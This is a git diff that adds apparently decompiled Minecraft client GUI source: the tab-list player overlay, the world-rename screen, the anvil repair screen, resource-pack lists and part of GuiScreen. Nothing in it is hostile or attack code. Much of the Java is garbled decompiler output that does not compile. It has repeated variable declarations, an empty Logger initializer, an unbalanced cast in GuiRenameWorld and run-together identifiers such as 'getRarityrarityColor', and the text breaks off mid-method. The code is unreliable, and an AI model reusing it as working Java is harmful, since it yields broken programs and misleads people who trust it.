+    boolean var11 = (field_175250_f.isIntegratedServerRunning()) || (field_175250_f.getNetHandler().getNetworkManager().func_179292_f());
+    int var12;
+    int var12;
+    if (p_175249_3_ != null) {
+      int var12;
+      if (p_175249_3_.func_178766_e() == IScoreObjectiveCriteria.EnumRenderType.HEARTS)
+      {
+        var12 = 90;
+      }
+      else
+      {
+        var12 = var7;
+      }
+    }
+    else
+    {
+      var12 = 0;
+    }
+    
+    int var13 = Math.min(var10 * ((var11 ? 9 : 0) + var6 + var12 + 13), p_175249_1_ - 50) / var10;
+    int var14 = p_175249_1_ / 2 - (var13 * var10 + (var10 - 1) * 5) / 2;
+    int var15 = 10;
+    int var16 = var13 * var10 + (var10 - 1) * 5;
+    List var17 = null;
+    List var18 = null;
+    
+
+
+    if (header != null)
+    {
+      var17 = field_175250_f.fontRendererObj.listFormattedStringToWidth(header.getFormattedText(), p_175249_1_ - 50);
+      String var20;
+      for (Iterator var19 = var17.iterator(); var19.hasNext(); var16 = Math.max(var16, field_175250_f.fontRendererObj.getStringWidth(var20)))
+      {
+        var20 = (String)var19.next();
+      }
+    }
+    
+    if (footer != null)
+    {
+      var18 = field_175250_f.fontRendererObj.listFormattedStringToWidth(footer.getFormattedText(), p_175249_1_ - 50);
+      String var20;
+      for (Iterator var19 = var18.iterator(); var19.hasNext(); var16 = Math.max(var16, field_175250_f.fontRendererObj.getStringWidth(var20)))
+      {
+        var20 = (String)var19.next();
+      }
+    }
+    
+
+
+    if (var17 != null)
+    {
+      drawRect(p_175249_1_ / 2 - var16 / 2 - 1, var15 - 1, p_175249_1_ / 2 + var16 / 2 + 1, var15 + var17.size() * field_175250_f.fontRendererObj.FONT_HEIGHT, Integer.MIN_VALUE);
+      
+      for (Iterator var19 = var17.iterator(); var19.hasNext(); var15 += field_175250_f.fontRendererObj.FONT_HEIGHT)
+      {
+        String var20 = (String)var19.next();
+        int var21 = field_175250_f.fontRendererObj.getStringWidth(var20);
+        field_175250_f.fontRendererObj.drawStringWithShadow(var20, p_175249_1_ / 2 - var21 / 2, var15, -1);
+      }
+      
+      var15++;
+    }
+    
+    drawRect(p_175249_1_ / 2 - var16 / 2 - 1, var15 - 1, p_175249_1_ / 2 + var16 / 2 + 1, var15 + var29 * 9, Integer.MIN_VALUE);
+    
+    for (int var30 = 0; var30 < var28; var30++)
+    {
+      int var31 = var30 / var29;
+      int var21 = var30 % var29;
+      int var22 = var14 + var31 * var13 + var31 * 5;
+      int var23 = var15 + var21 * 9;
+      drawRect(var22, var23, var22 + var13, var23 + 8, 553648127);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.enableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      
+      if (var30 < var5.size())
+      {
+        NetworkPlayerInfo var24 = (NetworkPlayerInfo)var5.get(var30);
+        String var25 = func_175243_a(var24);
+        
+        if (var11)
+        {
+          field_175250_f.getTextureManager().bindTexture(var24.func_178837_g());
+          Gui.drawScaledCustomSizeModalRect(var22, var23, 8.0F, 8.0F, 8, 8, 8, 8, 64.0F, 64.0F);
+          net.minecraft.entity.player.EntityPlayer var26 = field_175250_f.theWorld.getPlayerEntityByUUID(var24.func_178845_a().getId());
+          
+          if ((var26 != null) && (var26.func_175148_a(net.minecraft.entity.player.EnumPlayerModelParts.HAT)))
+          {
+            Gui.drawScaledCustomSizeModalRect(var22, var23, 40.0F, 8.0F, 8, 8, 8, 8, 64.0F, 64.0F);
+          }
+          
+          var22 += 9;
+        }
+        
+        if (var24.getGameType() == WorldSettings.GameType.SPECTATOR)
+        {
+          var25 = EnumChatFormatting.ITALIC + var25;
+          field_175250_f.fontRendererObj.drawStringWithShadow(var25, var22, var23, -1862270977);
+        }
+        else
+        {
+          field_175250_f.fontRendererObj.drawStringWithShadow(var25, var22, var23, -1);
+        }
+        
+        if ((p_175249_3_ != null) && (var24.getGameType() != WorldSettings.GameType.SPECTATOR))
+        {
+          int var32 = var22 + var6 + 1;
+          int var27 = var32 + var12;
+          
+          if (var27 - var32 > 5)
+          {
+            func_175247_a(p_175249_3_, var23, var24.func_178845_a().getName(), var32, var27, var24);
+          }
+        }
+        
+        func_175245_a(var13, var22 - (var11 ? 9 : 0), var23, var24);
+      }
+    }
+    
+    if (var18 != null)
+    {
+      var15 += var29 * 9 + 1;
+      drawRect(p_175249_1_ / 2 - var16 / 2 - 1, var15 - 1, p_175249_1_ / 2 + var16 / 2 + 1, var15 + var18.size() * field_175250_f.fontRendererObj.FONT_HEIGHT, Integer.MIN_VALUE);
+      
+      for (Iterator var19 = var18.iterator(); var19.hasNext(); var15 += field_175250_f.fontRendererObj.FONT_HEIGHT)
+      {
+        String var20 = (String)var19.next();
+        int var21 = field_175250_f.fontRendererObj.getStringWidth(var20);
+        field_175250_f.fontRendererObj.drawStringWithShadow(var20, p_175249_1_ / 2 - var21 / 2, var15, -1);
+      }
+    }
+  }
+  
+  protected void func_175245_a(int p_175245_1_, int p_175245_2_, int p_175245_3_, NetworkPlayerInfo p_175245_4_)
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    field_175250_f.getTextureManager().bindTexture(icons);
+    byte var5 = 0;
+    boolean var6 = false;
+    byte var7;
+    byte var7;
+    if (p_175245_4_.getResponseTime() < 0)
+    {
+      var7 = 5;
+    } else { byte var7;
+      if (p_175245_4_.getResponseTime() < 150)
+      {
+        var7 = 0;
+      } else { byte var7;
+        if (p_175245_4_.getResponseTime() < 300)
+        {
+          var7 = 1;
+        } else { byte var7;
+          if (p_175245_4_.getResponseTime() < 600)
+          {
+            var7 = 2;
+          } else { byte var7;
+            if (p_175245_4_.getResponseTime() < 1000)
+            {
+              var7 = 3;
+            }
+            else
+            {
+              var7 = 4; }
+          }
+        } } }
+    zLevel += 100.0F;
+    drawTexturedModalRect(p_175245_2_ + p_175245_1_ - 11, p_175245_3_, 0 + var5 * 10, 176 + var7 * 8, 10, 8);
+    zLevel -= 100.0F;
+  }
+  
+  private void func_175247_a(ScoreObjective p_175247_1_, int p_175247_2_, String p_175247_3_, int p_175247_4_, int p_175247_5_, NetworkPlayerInfo p_175247_6_)
+  {
+    int var7 = p_175247_1_.getScoreboard().getValueFromObjective(p_175247_3_, p_175247_1_).getScorePoints();
+    
+    if (p_175247_1_.func_178766_e() == IScoreObjectiveCriteria.EnumRenderType.HEARTS)
+    {
+      field_175250_f.getTextureManager().bindTexture(icons);
+      
+      if (field_175253_j == p_175247_6_.func_178855_p())
+      {
+        if (var7 < p_175247_6_.func_178835_l())
+        {
+          p_175247_6_.func_178846_a(Minecraft.getSystemTime());
+          p_175247_6_.func_178844_b(field_175251_g.getUpdateCounter() + 20);
+        }
+        else if (var7 > p_175247_6_.func_178835_l())
+        {
+          p_175247_6_.func_178846_a(Minecraft.getSystemTime());
+          p_175247_6_.func_178844_b(field_175251_g.getUpdateCounter() + 10);
+        }
+      }
+      
+      if ((Minecraft.getSystemTime() - p_175247_6_.func_178847_n() > 1000L) || (field_175253_j != p_175247_6_.func_178855_p()))
+      {
+        p_175247_6_.func_178836_b(var7);
+        p_175247_6_.func_178857_c(var7);
+        p_175247_6_.func_178846_a(Minecraft.getSystemTime());
+      }
+      
+      p_175247_6_.func_178843_c(field_175253_j);
+      p_175247_6_.func_178836_b(var7);
+      int var8 = MathHelper.ceiling_float_int(Math.max(var7, p_175247_6_.func_178860_m()) / 2.0F);
+      int var9 = Math.max(MathHelper.ceiling_float_int(var7 / 2), Math.max(MathHelper.ceiling_float_int(p_175247_6_.func_178860_m() / 2), 10));
+      boolean var10 = (p_175247_6_.func_178858_o() > field_175251_g.getUpdateCounter()) && ((p_175247_6_.func_178858_o() - field_175251_g.getUpdateCounter()) / 3L % 2L == 1L);
+      
+      if (var8 > 0)
+      {
+        float var11 = Math.min((p_175247_5_ - p_175247_4_ - 4) / var9, 9.0F);
+        
+        if (var11 > 3.0F)
+        {
+
+
+          for (int var12 = var8; var12 < var9; var12++)
+          {
+            func_175174_a(p_175247_4_ + var12 * var11, p_175247_2_, var10 ? 25 : 16, 0, 9, 9);
+          }
+          
+          for (var12 = 0; var12 < var8; var12++)
+          {
+            func_175174_a(p_175247_4_ + var12 * var11, p_175247_2_, var10 ? 25 : 16, 0, 9, 9);
+            
+            if (var10)
+            {
+              if (var12 * 2 + 1 < p_175247_6_.func_178860_m())
+              {
+                func_175174_a(p_175247_4_ + var12 * var11, p_175247_2_, 70, 0, 9, 9);
+              }
+              
+              if (var12 * 2 + 1 == p_175247_6_.func_178860_m())
+              {
+                func_175174_a(p_175247_4_ + var12 * var11, p_175247_2_, 79, 0, 9, 9);
+              }
+            }
+            
+            if (var12 * 2 + 1 < var7)
+            {
+              func_175174_a(p_175247_4_ + var12 * var11, p_175247_2_, var12 >= 10 ? 160 : 52, 0, 9, 9);
+            }
+            
+            if (var12 * 2 + 1 == var7)
+            {
+              func_175174_a(p_175247_4_ + var12 * var11, p_175247_2_, var12 >= 10 ? 169 : 61, 0, 9, 9);
+            }
+          }
+        }
+        else
+        {
+          float var16 = MathHelper.clamp_float(var7 / 20.0F, 0.0F, 1.0F);
+          int var13 = (int)((1.0F - var16) * 255.0F) << 16 | (int)(var16 * 255.0F) << 8;
+          String var14 = var7 / 2.0F;
+          
+          if (p_175247_5_ - field_175250_f.fontRendererObj.getStringWidth(var14 + "hp") >= p_175247_4_)
+          {
+            var14 = var14 + "hp";
+          }
+          
+          field_175250_f.fontRendererObj.drawStringWithShadow(var14, (p_175247_5_ + p_175247_4_) / 2 - field_175250_f.fontRendererObj.getStringWidth(var14) / 2, p_175247_2_, var13);
+        }
+      }
+    }
+    else
+    {
+      String var15 = EnumChatFormatting.YELLOW + var7;
+      field_175250_f.fontRendererObj.drawStringWithShadow(var15, p_175247_5_ - field_175250_f.fontRendererObj.getStringWidth(var15), p_175247_2_, 16777215);
+    }
+  }
+  
+  public void setFooter(IChatComponent p_175248_1_)
+  {
+    footer = p_175248_1_;
+  }
+  
+  public void setHeader(IChatComponent p_175244_1_)
+  {
+    header = p_175244_1_;
+  }
+  
+  static class PlayerComparator implements java.util.Comparator
+  {
+    private static final String __OBFID = "CL_00001941";
+    
+    private PlayerComparator() {}
+    
+    public int func_178952_a(NetworkPlayerInfo p_178952_1_, NetworkPlayerInfo p_178952_2_)
+    {
+      ScorePlayerTeam var3 = p_178952_1_.func_178850_i();
+      ScorePlayerTeam var4 = p_178952_2_.func_178850_i();
+      return ComparisonChain.start().compareTrueFirst(p_178952_1_.getGameType() != WorldSettings.GameType.SPECTATOR, p_178952_2_.getGameType() != WorldSettings.GameType.SPECTATOR).compare(var3 != null ? var3.getRegisteredName() : "", var4 != null ? var4.getRegisteredName() : "").compare(p_178952_1_.func_178845_a().getName(), p_178952_2_.func_178845_a().getName()).result();
+    }
+    
+    public int compare(Object p_compare_1_, Object p_compare_2_)
+    {
+      return func_178952_a((NetworkPlayerInfo)p_compare_1_, (NetworkPlayerInfo)p_compare_2_);
+    }
+    
+    PlayerComparator(Object p_i45528_1_)
+    {
+      this();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiRenameWorld.java b/src/minecraft/net/minecraft/client/gui/GuiRenameWorld.java
new file mode 100644
index 0000000..25006d5
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiRenameWorld.java
@@ -0,0 +1,107 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.world.storage.ISaveFormat;
+
+public class GuiRenameWorld extends GuiScreen
+{
+  private GuiScreen field_146585_a;
+  private GuiTextField field_146583_f;
+  private final String field_146584_g;
+  private static final String __OBFID = "CL_00000709";
+  
+  public GuiRenameWorld(GuiScreen p_i46317_1_, String p_i46317_2_)
+  {
+    field_146585_a = p_i46317_1_;
+    field_146584_g = p_i46317_2_;
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    field_146583_f.updateCursorCounter();
+  }
+  
+
+
+
+  public void initGui()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    buttonList.clear();
+    buttonList.add(new GuiButton(0, width / 2 - 100, height / 4 + 96 + 12, I18n.format("selectWorld.renameButton", new Object[0])));
+    buttonList.add(new GuiButton(1, width / 2 - 100, height / 4 + 120 + 12, I18n.format("gui.cancel", new Object[0])));
+    ISaveFormat var1 = mc.getSaveLoader();
+    net.minecraft.world.storage.WorldInfo var2 = var1.getWorldInfo(field_146584_g);
+    String var3 = var2.getWorldName();
+    field_146583_f = new GuiTextField(2, fontRendererObj, width / 2 - 100, 60, 200, 20);
+    field_146583_f.setFocused(true);
+    field_146583_f.setText(var3);
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(false);
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      if (id == 1)
+      {
+        mc.displayGuiScreen(field_146585_a);
+      }
+      else if (id == 0)
+      {
+        ISaveFormat var2 = mc.getSaveLoader();
+        var2.renameWorld(field_146584_g, field_146583_f.getText().trim());
+        mc.displayGuiScreen(field_146585_a);
+      }
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    field_146583_f.textboxKeyTyped(typedChar, keyCode);
+    buttonList.get(0)).enabled = (field_146583_f.getText().trim().length() > 0);
+    
+    if ((keyCode == 28) || (keyCode == 156))
+    {
+      actionPerformed((GuiButton)buttonList.get(0));
+    }
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    field_146583_f.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, I18n.format("selectWorld.renameTitle", new Object[0]), width / 2, 20, 16777215);
+    drawString(fontRendererObj, I18n.format("selectWorld.enterName", new Object[0]), width / 2 - 100, 47, 10526880);
+    field_146583_f.drawTextBox();
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiRepair.java b/src/minecraft/net/minecraft/client/gui/GuiRepair.java
new file mode 100644
index 0000000..b44caf9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiRepair.java
@@ -0,0 +1,217 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.inventory.GuiContainer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerRepair;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.inventory.Slot;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.client.C17PacketCustomPayload;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.World;
+import org.lwjgl.input.Keyboard;
+
+public class GuiRepair extends GuiContainer implements net.minecraft.inventory.ICrafting
+{
+  private static final ResourceLocation anvilResource = new ResourceLocation("textures/gui/container/anvil.png");
+  private ContainerRepair anvil;
+  private GuiTextField nameField;
+  private InventoryPlayer playerInventory;
+  private static final String __OBFID = "CL_00000738";
+  
+  public GuiRepair(InventoryPlayer p_i45508_1_, World worldIn)
+  {
+    super(new ContainerRepair(p_i45508_1_, worldIn, getMinecraftthePlayer));
+    playerInventory = p_i45508_1_;
+    anvil = ((ContainerRepair)inventorySlots);
+  }
+  
+
+
+
+  public void initGui()
+  {
+    super.initGui();
+    Keyboard.enableRepeatEvents(true);
+    int var1 = (width - xSize) / 2;
+    int var2 = (height - ySize) / 2;
+    nameField = new GuiTextField(0, fontRendererObj, var1 + 62, var2 + 24, 103, 12);
+    nameField.setTextColor(-1);
+    nameField.setDisabledTextColour(-1);
+    nameField.setEnableBackgroundDrawing(false);
+    nameField.setMaxStringLength(40);
+    inventorySlots.removeCraftingFromCrafters(this);
+    inventorySlots.onCraftGuiOpened(this);
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    super.onGuiClosed();
+    Keyboard.enableRepeatEvents(false);
+    inventorySlots.removeCraftingFromCrafters(this);
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    GlStateManager.disableLighting();
+    GlStateManager.disableBlend();
+    fontRendererObj.drawString(I18n.format("container.repair", new Object[0]), 60, 6, 4210752);
+    
+    if (anvil.maximumCost > 0)
+    {
+      int var3 = 8453920;
+      boolean var4 = true;
+      String var5 = I18n.format("container.repair.cost", new Object[] { Integer.valueOf(anvil.maximumCost) });
+      
+      if ((anvil.maximumCost >= 40) && (!mc.thePlayer.capabilities.isCreativeMode))
+      {
+        var5 = I18n.format("container.repair.expensive", new Object[0]);
+        var3 = 16736352;
+      }
+      else if (!anvil.getSlot(2).getHasStack())
+      {
+        var4 = false;
+      }
+      else if (!anvil.getSlot(2).canTakeStack(playerInventory.player))
+      {
+        var3 = 16736352;
+      }
+      
+      if (var4)
+      {
+        int var6 = 0xFF000000 | (var3 & 0xFCFCFC) >> 2 | var3 & 0xFF000000;
+        int var7 = xSize - 8 - fontRendererObj.getStringWidth(var5);
+        byte var8 = 67;
+        
+        if (fontRendererObj.getUnicodeFlag())
+        {
+          drawRect(var7 - 3, var8 - 2, xSize - 7, var8 + 10, -16777216);
+          drawRect(var7 - 2, var8 - 1, xSize - 8, var8 + 9, -12895429);
+        }
+        else
+        {
+          fontRendererObj.drawString(var5, var7, var8 + 1, var6);
+          fontRendererObj.drawString(var5, var7 + 1, var8, var6);
+          fontRendererObj.drawString(var5, var7 + 1, var8 + 1, var6);
+        }
+        
+        fontRendererObj.drawString(var5, var7, var8, var3);
+      }
+    }
+    
+    GlStateManager.enableLighting();
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    if (nameField.textboxKeyTyped(typedChar, keyCode))
+    {
+      renameItem();
+    }
+    else
+    {
+      super.keyTyped(typedChar, keyCode);
+    }
+  }
+  
+  private void renameItem()
+  {
+    String var1 = nameField.getText();
+    Slot var2 = anvil.getSlot(0);
+    
+    if ((var2 != null) && (var2.getHasStack()) && (!var2.getStack().hasDisplayName()) && (var1.equals(var2.getStack().getDisplayName())))
+    {
+      var1 = "";
+    }
+    
+    anvil.updateItemName(var1);
+    mc.thePlayer.sendQueue.addToSendQueue(new C17PacketCustomPayload("MC|ItemName", new PacketBuffer(io.netty.buffer.Unpooled.buffer()).writeString(var1)));
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    nameField.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    super.drawScreen(mouseX, mouseY, partialTicks);
+    GlStateManager.disableLighting();
+    GlStateManager.disableBlend();
+    nameField.drawTextBox();
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(anvilResource);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+    drawTexturedModalRect(var4 + 59, var5 + 20, 0, ySize + (anvil.getSlot(0).getHasStack() ? 0 : 16), 110, 16);
+    
+    if (((anvil.getSlot(0).getHasStack()) || (anvil.getSlot(1).getHasStack())) && (!anvil.getSlot(2).getHasStack()))
+    {
+      drawTexturedModalRect(var4 + 99, var5 + 45, xSize, 0, 28, 21);
+    }
+  }
+  
+
+
+
+  public void updateCraftingInventory(Container p_71110_1_, List p_71110_2_)
+  {
+    sendSlotContents(p_71110_1_, 0, p_71110_1_.getSlot(0).getStack());
+  }
+  
+
+
+
+
+  public void sendSlotContents(Container p_71111_1_, int p_71111_2_, ItemStack p_71111_3_)
+  {
+    if (p_71111_2_ == 0)
+    {
+      nameField.setText(p_71111_3_ == null ? "" : p_71111_3_.getDisplayName());
+      nameField.setEnabled(p_71111_3_ != null);
+      
+      if (p_71111_3_ != null)
+      {
+        renameItem();
+      }
+    }
+  }
+  
+  public void sendProgressBarUpdate(Container p_71112_1_, int p_71112_2_, int p_71112_3_) {}
+  
+  public void func_175173_a(Container p_175173_1_, IInventory p_175173_2_) {}
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiResourcePackAvailable.java b/src/minecraft/net/minecraft/client/gui/GuiResourcePackAvailable.java
new file mode 100644
index 0000000..d90fe7c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiResourcePackAvailable.java
@@ -0,0 +1,20 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+
+public class GuiResourcePackAvailable extends GuiResourcePackList
+{
+  private static final String __OBFID = "CL_00000824";
+  
+  public GuiResourcePackAvailable(Minecraft mcIn, int p_i45054_2_, int p_i45054_3_, List p_i45054_4_)
+  {
+    super(mcIn, p_i45054_2_, p_i45054_3_, p_i45054_4_);
+  }
+  
+  protected String getListHeader()
+  {
+    return I18n.format("resourcePack.available.title", new Object[0]);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiResourcePackList.java b/src/minecraft/net/minecraft/client/gui/GuiResourcePackList.java
new file mode 100644
index 0000000..f1f4d90
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiResourcePackList.java
@@ -0,0 +1,73 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.resources.ResourcePackListEntry;
+import net.minecraft.util.EnumChatFormatting;
+
+public abstract class GuiResourcePackList extends GuiListExtended
+{
+  protected final Minecraft mc;
+  protected final List field_148204_l;
+  private static final String __OBFID = "CL_00000825";
+  
+  public GuiResourcePackList(Minecraft mcIn, int p_i45055_2_, int p_i45055_3_, List p_i45055_4_)
+  {
+    super(mcIn, p_i45055_2_, p_i45055_3_, 32, p_i45055_3_ - 55 + 4, 36);
+    mc = mcIn;
+    field_148204_l = p_i45055_4_;
+    field_148163_i = false;
+    setHasListHeader(true, (int)(fontRendererObj.FONT_HEIGHT * 1.5F));
+  }
+  
+
+
+
+  protected void drawListHeader(int p_148129_1_, int p_148129_2_, Tessellator p_148129_3_)
+  {
+    String var4 = EnumChatFormatting.UNDERLINE + EnumChatFormatting.BOLD + getListHeader();
+    mc.fontRendererObj.drawString(var4, p_148129_1_ + width / 2 - mc.fontRendererObj.getStringWidth(var4) / 2, Math.min(top + 3, p_148129_2_), 16777215);
+  }
+  
+  protected abstract String getListHeader();
+  
+  public List getList()
+  {
+    return field_148204_l;
+  }
+  
+  protected int getSize()
+  {
+    return getList().size();
+  }
+  
+
+
+
+  public ResourcePackListEntry getListEntry(int p_148180_1_)
+  {
+    return (ResourcePackListEntry)getList().get(p_148180_1_);
+  }
+  
+
+
+
+  public int getListWidth()
+  {
+    return width;
+  }
+  
+  protected int getScrollBarX()
+  {
+    return right - 6;
+  }
+  
+
+
+
+  public GuiListExtended.IGuiListEntry getListEntry1(int p_148180_1_)
+  {
+    return getListEntry(p_148180_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiResourcePackSelected.java b/src/minecraft/net/minecraft/client/gui/GuiResourcePackSelected.java
new file mode 100644
index 0000000..84929c0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiResourcePackSelected.java
@@ -0,0 +1,20 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+
+public class GuiResourcePackSelected extends GuiResourcePackList
+{
+  private static final String __OBFID = "CL_00000827";
+  
+  public GuiResourcePackSelected(Minecraft mcIn, int p_i45056_2_, int p_i45056_3_, List p_i45056_4_)
+  {
+    super(mcIn, p_i45056_2_, p_i45056_3_, p_i45056_4_);
+  }
+  
+  protected String getListHeader()
+  {
+    return I18n.format("resourcePack.selected.title", new Object[0]);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiScreen.java b/src/minecraft/net/minecraft/client/gui/GuiScreen.java
new file mode 100644
index 0000000..cc3803f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiScreen.java
@@ -0,0 +1,749 @@
+package net.minecraft.client.gui;
+
+import com.google.common.base.Splitter;
+import com.google.common.collect.Lists;
+import java.awt.Toolkit;
+import java.awt.datatransfer.Clipboard;
+import java.awt.datatransfer.DataFlavor;
+import java.awt.datatransfer.StringSelection;
+import java.awt.datatransfer.Transferable;
+import java.io.File;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.event.ClickEvent;
+import net.minecraft.event.ClickEvent.Action;
+import net.minecraft.event.HoverEvent;
+import net.minecraft.event.HoverEvent.Action;
+import net.minecraft.item.EnumRarity;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.JsonToNBT;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.stats.Achievement;
+import net.minecraft.stats.StatBase;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+import org.lwjgl.input.Mouse;
+
+public abstract class GuiScreen extends Gui implements GuiYesNoCallback
+{
+  private static final Logger field_175287_a = ;
+  private static final Set field_175284_f = com.google.common.collect.Sets.newHashSet(new String[] { "http", "https" });
+  private static final Splitter field_175285_g = Splitter.on('\n');
+  
+
+
+  protected Minecraft mc;
+  
+
+
+  protected net.minecraft.client.renderer.entity.RenderItem itemRender;
+  
+
+  public int width;
+  
+
+  public int height;
+  
+
+  protected List buttonList = Lists.newArrayList();
+  
+
+  protected List labelList = Lists.newArrayList();
+  
+
+  public boolean allowUserInput;
+  
+
+  protected FontRenderer fontRendererObj;
+  
+  private GuiButton selectedButton;
+  
+  protected int eventButton;
+  
+  private long lastMouseEvent;
+  
+  private int touchValue;
+  
+  private URI field_175286_t;
+  
+  private static final String __OBFID = "CL_00000710";
+  
+
+  public GuiScreen() {}
+  
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    for (int var4 = 0; var4 < buttonList.size(); var4++)
+    {
+      ((GuiButton)buttonList.get(var4)).drawButton(mc, mouseX, mouseY);
+    }
+    
+    for (var4 = 0; var4 < labelList.size(); var4++)
+    {
+      ((GuiLabel)labelList.get(var4)).drawLabel(mc, mouseX, mouseY);
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    if (keyCode == 1)
+    {
+      mc.displayGuiScreen(null);
+      
+      if (mc.currentScreen == null)
+      {
+        mc.setIngameFocus();
+      }
+    }
+  }
+  
+
+
+
+  public static String getClipboardString()
+  {
+    try
+    {
+      Transferable var0 = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);
+      
+      if ((var0 != null) && (var0.isDataFlavorSupported(DataFlavor.stringFlavor)))
+      {
+        return (String)var0.getTransferData(DataFlavor.stringFlavor);
+      }
+    }
+    catch (Exception localException) {}
+    
+
+
+
+    return "";
+  }
+  
+
+
+
+  public static void setClipboardString(String copyText)
+  {
+    if (!org.apache.commons.lang3.StringUtils.isEmpty(copyText))
+    {
+      try
+      {
+        StringSelection var1 = new StringSelection(copyText);
+        Toolkit.getDefaultToolkit().getSystemClipboard().setContents(var1, null);
+      }
+      catch (Exception localException) {}
+    }
+  }
+  
+
+
+
+  protected void renderToolTip(ItemStack itemIn, int x, int y)
+  {
+    List var4 = itemIn.getTooltip(mc.thePlayer, mc.gameSettings.advancedItemTooltips);
+    
+    for (int var5 = 0; var5 < var4.size(); var5++)
+    {
+      if (var5 == 0)
+      {
+        var4.set(var5, getRarityrarityColor + (String)var4.get(var5));
+      }
+      else
+      {
+        var4.set(var5, EnumChatFormatting.GRAY + (String)var4.get(var5));
+      }
+    }
+    
+    drawHoveringText(var4, x, y);
+  }
+  
+
+
+
+
+  protected void drawCreativeTabHoveringText(String tabName, int mouseX, int mouseY)
+  {
+    drawHoveringText(Arrays.asList(new String[] { tabName }), mouseX, mouseY);
+  }
+  
+  protected void drawHoveringText(List textLines, int x, int y)
+  {
+    if (!textLines.isEmpty())
+    {
+      GlStateManager.disableRescaleNormal();
+      RenderHelper.disableStandardItemLighting();
+      GlStateManager.disableLighting();
+      GlStateManager.disableDepth();
+      int var4 = 0;
+      Iterator var5 = textLines.iterator();
+      
+      while (var5.hasNext())
+      {
+        String var6 = (String)var5.next();
